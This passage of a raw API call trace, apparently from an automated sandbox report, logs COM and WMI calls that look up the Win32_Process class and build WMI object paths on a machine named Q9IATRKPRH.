0x2 [0140.515] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0140.515] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0140.515] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6ab0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bcc6ab0) returned 0x0 [0140.515] WbemLocator:IUnknown:Release (This=0x1bcc6ab0) returned 0x2 [0140.515] SysStringLen (param_1=0x0) returned 0x0 [0140.515] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc955f0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0140.515] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0140.515] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.515] WbemDefPath:IWbemPath:GetText (in: This=0x1bc952f0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0140.515] WbemDefPath:IWbemPath:GetText (in: This=0x1bc952f0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0140.515] IWbemServices:GetObject (in: This=0x1bcc6ab0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1aa28890, ppCallResult=0x0) returned 0x0 [0140.519] IWbemClassObject:Get (in: This=0x1aa28890, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0140.519] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0140.520] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0140.520] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0140.520] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0140.520] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0140.520] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.522] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bcc4840) returned 0x0 [0140.522] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4840, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0140.522] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4840, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc956b0) returned 0x0 [0140.522] WbemDefPath:IUnknown:Release (This=0x1bcc4840) returned 0x0 [0140.522] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc956b0) returned 0x0 [0140.522] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0140.522] WbemDefPath:IUnknown:AddRef (This=0x1bc956b0) returned 0x3 [0140.522] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0140.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0140.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bcc4860) returned 0x0 [0140.523] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4860, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.523] WbemDefPath:IUnknown:Release (This=0x1bcc4860) returned 0x3 [0140.523] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0140.523] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0140.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0140.523] WbemDefPath:IUnknown:Release (This=0x1bc956b0) returned 0x2 [0140.523] WbemDefPath:IUnknown:Release (This=0x1bc956b0) returned 0x1 [0140.523] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0140.523] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0140.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc956b0) returned 0x0 [0140.523] WbemDefPath:IUnknown:AddRef (This=0x1bc956b0) returned 0x3 [0140.523] WbemDefPath:IUnknown:Release (This=0x1bc956b0) returned 0x2 [0140.523] WbemDefPath:IWbemPath:SetText (This=0x1bc956b0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0140.523] IWbemClassObject:Get (in: This=0x1aa28890, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0140.523] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.524] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.524] IWbemClassObject:Get (in: This=0x1aa28890, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0140.524] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0140.524] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0140.524] IWbemClassObject:Get (in: This=0x1aa28890, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0140.524] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0140.524] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0140.524] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0140.525] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0140.525] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0140.525] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.527] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc4a20) returned 0x0 [0140.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4a20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0140.527] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4a20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc95770) returned 0x0 [0140.527] WbemDefPath:IUnknown:Release (This=0x1bcc4a20) returned 0x0 [0140.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc95770) returned 0x0 [0140.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0140.527] WbemDefPath:IUnknown:AddRef (This=0x1bc95770) returned 0x3 [0140.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0140.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0140.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc4a60) returned 0x0 [0140.528] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4a60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.528] WbemDefPath:IUnknown:Release (This=0x1bcc4a60) returned 0x3 [0140.528] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0140.528] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0140.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0140.528] WbemDefPath:IUnknown:Release (This=0x1bc95770) returned 0x2 [0140.528] WbemDefPath:IUnknown:Release (This=0x1bc95770) returned 0x1 [0140.528] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0140.528] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0140.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc95770) returned 0x0 [0140.528] WbemDefPath:IUnknown:AddRef (This=0x1bc95770) returned 0x3 [0140.528] WbemDefPath:IUnknown:Release (This=0x1bc95770) returned 0x2 [0140.528] WbemDefPath:IWbemPath:SetText (This=0x1bc95770, uMode=0x4, pszPath="") returned 0x0 [0140.528] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0140.528] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0140.528] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0140.528] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.530] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc4a20) returned 0x0 [0140.530] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4a20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0140.530] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4a20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc95830) returned 0x0 [0140.531] WbemDefPath:IUnknown:Release (This=0x1bcc4a20) returned 0x0 [0140.531] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc95830) returned 0x0 [0140.531] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0140.531] WbemDefPath:IUnknown:AddRef (This=0x1bc95830) returned 0x3 [0140.531] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0140.531] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0140.531] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc4aa0) returned 0x0 [0140.531] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4aa0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.531] WbemDefPath:IUnknown:Release (This=0x1bcc4aa0) returned 0x3 [0140.531] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0140.531] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0140.531] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0140.531] WbemDefPath:IUnknown:Release (This=0x1bc95830) returned 0x2 [0140.531] WbemDefPath:IUnknown:Release (This=0x1bc95830) returned 0x1 [0140.532] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0140.532] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0140.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc95830) returned 0x0 [0140.532] WbemDefPath:IUnknown:AddRef (This=0x1bc95830) returned 0x3 [0140.532] WbemDefPath:IUnknown:Release (This=0x1bc95830) returned 0x2 [0140.532] WbemDefPath:IWbemPath:SetText (This=0x1bc95830, uMode=0x4, pszPath="") returned 0x0 [0140.532] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95830, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0140.532] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95770, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0140.532] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc95830, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0140.532] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc95830, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0140.532] WbemDefPath:IWbemPath:SetServer (This=0x1bc95830, Name="Q9IATRKPRH") returned 0x0 [0140.532] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0140.532] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0140.532] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0140.532] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.534] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc4ac0) returned 0x0 [0140.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4ac0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0140.534] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4ac0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc958f0) returned 0x0 [0140.534] WbemDefPath:IUnknown:Release (This=0x1bcc4ac0) returned 0x0 [0140.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, 